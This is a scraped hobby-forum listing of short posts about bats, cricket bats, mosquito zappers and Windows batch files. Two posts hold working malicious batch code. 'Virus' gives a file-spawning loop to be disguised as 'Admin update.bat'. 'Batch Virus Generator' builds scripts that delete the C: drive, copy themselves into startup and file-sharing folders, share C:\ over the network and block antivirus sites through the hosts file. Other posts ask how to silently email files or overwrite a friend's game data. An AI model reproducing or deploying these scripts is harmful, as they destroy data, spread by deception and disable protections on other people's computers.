Hack a bat

How can I purchase the wiring diagram and/or detailed instructions to build the hack a bat?

Topic by 3D STEREO   |  last reply


bat to .app?

Im making a text based cmd game and i know how to change a .bat to exe, but i was wondering if theres a way to change it to like a .app or .dmg mac extension executable?

Question by royalroachemail   |  last reply


How to make plastic bats fly?

I thought I successfully entered this question before, but I don't think it worked so...here goes: I have 2 dozen cheap plastic/rubber bats that I would like to make fly around my yard this Halloween. Can anyone please help

Question by stbo   |  last reply


i make cricket bats.i would like to have a shaper machine that would assist me in this venture ... can any one help?

 Cricket is a game played in most parts of the world. Somewhat similar to the baseball game.it has a wooden bat made of willow.(please look it up on the net.) the shape of the bat is unique, with almost no flat surface to it. Even the front is slightly curved. I make these bats by hand.... which takes away a lot of my energy doing mundane shaving volumes of wood to get to a basic shape. This is further shaved to a specific shape. I would like to have a machine... to help me do this. I have seen a surfboard shaper that is close to getting the curves on the willow blades. if i could achieve this as cheaply as possible (i am not well to do, with limited funds at my disposal) this would be of a great help. I live in mumbai...which is a city in.. India. Thanking all the guys who could help ..........in advance.

Question by shadeylight   |  last reply


Softball on baseball bat?

I want to use a bat called the XL1 on a softball for a game. Would it hurt the bat/damage it.

Question by asdfmovies   |  last reply


Mosquito Killer Bat

Hi I found my mosquito killer bat not working, i replaced its battery two times no use. one of its no named capacitor is leaking a wax like thing. How to fix this ? any circuits available ?This is the batMosquito Killer Bat

Topic by milans   |  last reply


help with .bat file

Ok i asked this in the "slightly more advance .bat file instructable" but i didnt know if anyone would notice it so i will ask it here. When i made my shut down.bat file i would start it and it would run it over and over agian and nothing would happen. Then when i type in command prompt it works. so then i try to do something else like the delete command in my .bat file. It worked but at first it didnt it would pop up and ask me if i wanted to delete it. But that may be becuz it was a directory not a single file. So then i checkd my spelling and everything but it was fine i cant figure out why it kept running it over and over.

Topic by fretmelter   |  last reply


Batch/.bat Programing Answered

I would like to create a variable that is between two preset numbers but they are randomly created that runs in a batch program. For example if I wanted to create a program that would act like a dice where there is a 1/6 chance (for a 6 sided dice) of the dice landing on any number between 1 and 6.

Question by Dr. Kreap   |  last reply


Need some room decor ideas.

My room is boring. I can do anything but paint the walls (we rent) But I CAN cover them floor to ceiling with whatever I wish. I've been looking for some kind of interesting pattern. I like bats and skulls. (realistic of both) But skulls are so overplayed, and bats seem like a far stretch to decorate with. I'm pretty artistic, and awfully handy with making stuff (especially for a 15 year old, been building my whole life.) I have a large piece of flat cardboard that backed a John Lennon Poster I recently bought, and a piece of black foamboard. I plan on taping, cutting, painting the cardboard (probably a bat design, I'm just recently getting into them) and drawing another bat on the black foamboard using silver sharpie. Sooo.... any design ideas you guys have for making things, such as any kind of wall hanging would be nice to hear about.

Topic by silly_world   |  last reply


USB bat E-mail?

How do you make a bat file that will E-mail Files sliently

Question by danielbrthwt   |  last reply


Batch or .bat image viewing. Answered

I would like to know how you display an image inside of a batch file so it is present in the same window as the program.

Question by Dr. Kreap   |  last reply


Batch/.bat input & output? Answered

I want to make a batch program where I can ask an if statement but there would only be a possibility of two responses. For example if I made the batch file asked "Did you have a good day?", I would only want the user to be able to answer y or n.

Question by Dr. Kreap   |  last reply


How do you build a bat box?

I would really like a bat box, but I don't know how to build one!

Question by legolasandgimili   |  last reply


Virus

I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1

Topic by krujh2   |  last reply


Knex tower Vs. Baseball bat

Firstly, before you watch the video, its not a baseball bat. Its a metal chin-up bar :-P

Topic by Hiyadudez   |  last reply


batch to change .bat to cmd or .exe

I was just wondering how could i make a batch file to convert .bat to .cmd (or .exe if possible) i tryed wtih this but it didnt work @echo off ren %1 *.cmd im just a beginer atm, just learning from examples

Question by Fox-san48   |  last reply


Create a program to run .bat files? Answered

Hello, I want to run a .bat file when my computer starts up automatically.. I made a script in wordpad, saved as .bat to try and open the file, but I recieved weird error messages when trying to open the file, the script worked on other things such as opening microsoft word ( I did this to check if it was working) I would like to know if there is any simple program I could write or download that could open this file (like your clicking it) Many thanks Oscar

Question by oscarthompson   |  last reply


How can you somehow create a way to electronically count the number of bats going in and out of a bat house?

For my Advanced Biology class at school I am thinking about starting a bat project. I have a way to measure the temperature and humidity of the inside of the bat boxes, but would really like some sort of sensor to count how many bats are in there...and manually isn't going to work so well. Any suggestions? Any other bat-related ideas? (Other than selling bat guano...already been suggested) thanks

Question by shortone   |  last reply


How do you build a spring loaded baseball bat for a wheel chair?

My 4 year old is wheel chair bound. He is too weak to hold a bat and swing it.. So I want to attach a spring loaded baseball bat to his wheel chair, and all he does is hit a button to swing the bat. The bat would reload manually or ideally automatically. The same concept would work to 'kick' a soccer ball if we just attach the 'tool' lower on the wheelchair.

Question by gluckc   |  last reply


Knex tower Vs. baseball bat- 2

Here is the second tower i built just to smash it in slow motion.

Topic by Hiyadudez   |  last reply


How to i make a Bat file to Temporally change my computers system time?

I was wondering if there was a way to make a bat file that changes your computers clock for 60 seconds and still updates the right time after (synced with the internet time)  so that I would not slowly loose time on my computer when i run the bat file. Thanks

Question by mikec3   |  last reply


how rechargable mosquito hunter bat works? i need the circuit diagram of it....?

The bat in my home is not working.. i want to troubleshoot it.. (i am electronics student) the bat is charging well.. but it doesnt provide enough voltage to kill mosquito.. so help me ............plz

Question by b_vignesh   |  last reply


com files

I know how to convert batch(.bat) files to executable(.exe) file and to .com files but how do I convert first .com files into batch(.bat) files? and if its possible executable(.exe) files into batch(.bat) files? Thanks in advance

Topic by J.W   |  last reply


Where Can i buy a cricket bat? Answered

I Live in the US and would like to buy a cricket bat for a Doctor Who prop I'm making, and i don't know where to but one

Question by sir-zeke   |  last reply


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Topic by Vinylshakers   |  last reply


Include muliple files in .bat to .exe convertsion

I have this program that converts/compiles .bat files into .exe files but I can only include 1 file in the .exe and I need to include 2 files, help please! Program can be downloaded here http://www.download.com/3000-2069_4-10715331.html

Topic by J.W 


Could someone post a smash bat instructable?

I'm sure most of you have it figured out. I might be able to figure it out, but I'd really like an instructable if someone doesn't mind.

Question by shyguy567   |  last reply


Know of a good light source for a Bat Signal?

I wanted to make a quick and inexpensive Bat Signal for Halloween (to shine on a wall, but clouds would be nice?) and purchased one of those cheap 10 million candle power lamps.  It has the brightness and power, but unfortunately it doesn't have the point-direct light necessary to maintain the cut-out shape; the bright beam has some scattering.  So I thought I would ask if anyone here happened to know of something that would work?  Thanks!

Question by Spunk-Monkey   |  last reply



Recording ultrasonic sound

I looked up at bat detector, a device that converts ultrasonic signals into audible sounds. Most bats produce high frequency calls which are often higher than a human ear can pick up. A bat detector picks up the frequencies and then converts the sound into a lower, audible frequency. I was thinking if I could get a bat detector, I use it to capture the ultrasonic sounds.While bat detector could pick up these high frequencies, it would be interesting to see how it will pick up the faintly heard, to human ears - sounds of the industrialised areas/city or even at isolated/quiet areas. The bat detector I want to use is this - http://www.magenta2000.co.uk/acatalog/B ... _Bat4.html I'm thinking of hooking up the bat detector to a digital recorder and a binaural microphone and capture the sound through those equipments. I would greatly appreciate your suggestions/opinions on this matter.

Topic by drifterocean 


At BAT file programming i wanted to find a file and delete it then goto a page..?

At BAT file programming i wanted to find a file and delete it then goto a preffered page.. i've found: if example.file exists goto a if example.file does not exist goto b but it's only for a single file, doesn't search the whole drive or pc. i've found: dir C:\example.file \s this thing searches whole C drive, but how to make it to go to a preferred page?? any way?? very very thanks in ADVANCE.. :D

Question by rafsan.samin   |  last reply


CMD full screen

I'm new and need help with batching. My question: Is there a command or command line that will make a .bat file full screen with-out going through the properties/defaults for each computer you want it to run on? Thanks much!! Batches Unite!!!!!!!!

Topic by spiker   |  last reply


Microwave potato baker

 to make the microwave potato baker, it is said that the inside fabric is a secret material. It looks like quilt batting , is it isafe to use batting inside the cotton print fabric?

Question by Loomincab   |  last reply


Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Topic by lemonshark10   |  last reply


Building a sensor chronograph to measure speed of batted ball

I need a sensor chronograph designed to measure the speed of a batted baseball. It would consist of a frame assembly mounted on a pole in front of home plate in a batting cage. The goal would be for the device to be stationary, able to measure the speed of a batted ball on demand and then displaying it on an LCD positioned 30-60 feet away. It should be automatic and unattended, working without anyone doing anything to activate it other than hitting an oncoming pitch. We are interested in measuring only the batted ball, not the pitched ball from the pitcher or the swing speed of the bat. The measuring area would need to be about 2-6 feet high (depending on how far in front of home plate it is positioned) to accommodate a batted ball that is hit high or low. It should be able to measure the speed of any ball hit fair, from the first base line to the third base line.  The speed of the batted ball would range anywhere from 40 to 130 mph. Since the device would be used on a repetitive, long term basis care would need to be taken during the design to provide for protection from any batted balls that might find their way into the device itself (a piece of screen, chain link or plexiglass installed in front of it?) If you know where I might obtain a working apparatus or might locate someone willing to build one I would appreciate your response to the email address below. Jerry Heath jerry@webcitycybercafe.com

Topic by jerryeheath 


batch re-write command

i know this " > " and " >>" comands in bat make and edit files. but i need to figure if its possible to make a bat file that can re-write file extensions ex- -a game i have ________ has .edf files. -my friend has the same game and i want to mess with im where those files are overwrote with "PWNed" -and i want the bat file to overwrite all the .edf files with out having each .edf files name 2nd ex- data01.edf data02.edf and so on, but i dont wanna add all the names into the bat file end 2nd ex. end 1st ex. im sure that it is something like pwned > *.edf or pwned >> *.edf am i close or way off?

Topic by spiker   |  last reply


So Bizarre, You Had to Know About This

My Dad sent me this. I suppose it's Halloween appropriate? Weird. Have you ever heard of "Bat Fishing?" Kids out in the countryside come up with creative things to occupy their time. This fellow called in to a radio show ... you have a very light monofilament line on your fishing pole. Tie on a very small hook like you would use for small trout, put a small weight just above the hook, and bait the hook with a little bread. You then toss the hook up over a wire or tree branch in an area where bats are flying around at dusk. Kind of tug or wiggle the line so the bats strike at it. Be patient ... eventually one of them will grab the hook. Then you can fly your bat around in the sky ... kind of like a kite. When the bat becomes exhausted, reel it in, remove the hook, and let it go.

Topic by royalestel   |  last reply



Power wheels lightning McQueen conversion to bat tumbler?

I want to custom convert my kids power wheels lightning McQueen power wheels to the batman tumbler. I'm prepared to chop it up. I've never done this before. What's the best way to do this, what materials are better for all those panels? Best paints? 

Question by darkside3131   |  last reply


Capacitor charging circuit from a Mosquito zapper bat.

Hi, I want to make a coil gun from a Mosquito zapper bat can any buddy tell me that how to make it from parts like 400 volt capacitors (normal or siliocon coated) , Mosquito zapper bat circuit ( Used it because it makek an output of something 2000 + or - volts @ something 2.1 volt input ) circuit digram i will upload soon ,etc. i want to operate it @ 1.5 volt. can anyone help me in doing it and find me following answers = 1) circuit for charging the capacitors bank safely with over charge protection ( with thermistor or something like it) 2) led based capacitor charged indicator (specifically single led based) 3) any other circuit by which i can make a capacitor charging circuit with input 9 volt battery and output 800 volt. 4) also any voltage amplification circuit with input 9 volt battery and output 800 volt. 5) please tell me which parts to use like diodes, transistors, LED diode, resistors, transformer, thermistor, etc.

Topic by manpatpro   |  last reply


Major Work Location/position sensor for a cricket bat

My name is NicholasI am in Year 12 at Parkes Christian School and making a major work that i can track where i am hitting a cricket ball on a bat. similar to what hot spot is and to be able to relay the information on the position to a phone via Bluetooth(video to help with what my idea is) At the moment i have ordered a Raspberry pi for the help transmit the data, EeonTex Pressure Sensing Fabric, EeonTex Conductive Fabric. But i dont know what else i would need so i can get the information of the position to a raspberry pi like what types of thread do i or is there some thing else i need as this is my first time making something like this Thanks in advanced

Topic by Nicholasrsk6190 



is it possible to make a .bat file so when you open it it displays a message like hello?

Please help i want it so when you open the file it says hello in the middle of the screen but i also want to know how to get the writing off aswell

Question by sharlston   |  last reply



bird feeder / birdbox alternatives?

I was wondering if anyone had any ideas for any sort of animal feeders and/or houses? I've seen such things as bat boxes at different places which provide a home for bats. Also most places seem to carry feeders for birds that are designed to keep squirrels out, but few carry feeders for the squirrels themselves. Why cant those little critters with the break-dancing tails get any love? Any other suggestions for animal houses and feeders would be cool too. Can't wait to see what yas come up with!

Topic by JakkRabbit   |  last reply


vbs codes

Hi ...i am still learning  codes was trying to convert this bat codes to  vbs codes but i don't know how. can any one help me? this is the example of the bat codes, i really need your help. Thanks bro..: @echo off echo Hi guy, what do you want to open? set/p "cho=>" if %cho%==facebook start facebook.bat if %cho%==yahoomail start YahooMail.bat if %cho%==youtube start youtube.bat if %cho%==blackboard start blackboard.bat if %cho%==porno start porno.bat if %cho%==hacking start hacking.bat if %cho%==gmail start gmail.bat

Question by diki83 


Proximity Sensor 1' - 25'; Bat Ears for a Blind Woman

First of all, I'm a noob in electronics, so please explain your jargon as you would to a 3 year old. I am smart & learn quickly. So, I really want to make my blind 80 year-old grandmother a pair of bat ears. I bought her one of those sonic distance measureres from home-depot because of the barely audible tic they send out to bounce off wall/etc and record the time it takes the signal to return. You can hear the tic, and with your eyes closed.. you can kinda tell how far things are away from you just by listening. She loves it, and it just barely.. kinda works. What I"m shooting for is a single over-ear headphone (xbox-live communicator style) with some type of proximity sensor attached, sending a constant signal to the headphone... low for long distances, gradually higher for gradually closer distances. Any reasonable suggestions would be greatly appreciated.

Topic by wiglessbuzzard   |  last reply



How to check if a video is playing, and if it is play it, if not don't play?

This is what I got: @ECHO off xcopy /h startMe2.bat u:\ xcopy /h InformationalVideo.mp4 u:\ :start tasklist /nh /fi "imagename eq InformationalVideo.mp4" | find /i "InformationalVideo.mp4" > nul ||(start InformationalVideo.mp4 param1) start startMe.bat start u:\startMe2.bat goto start but it doesn't work, anyone care to help?

Question by BrettJ9   |  last reply


Echo independent color

Hello i'm makin a super advanced bat file for my comp noob m8 and it looks really complcated so i was wondering is it possible to color certan linese.g if their was an error it be in red with the rest of the screen in greenI ALREADY know about 'color 0a' but that fills the whole screen. I need a small block or just a line to be different & stand out

Topic by DELETED_simkinggold   |  last reply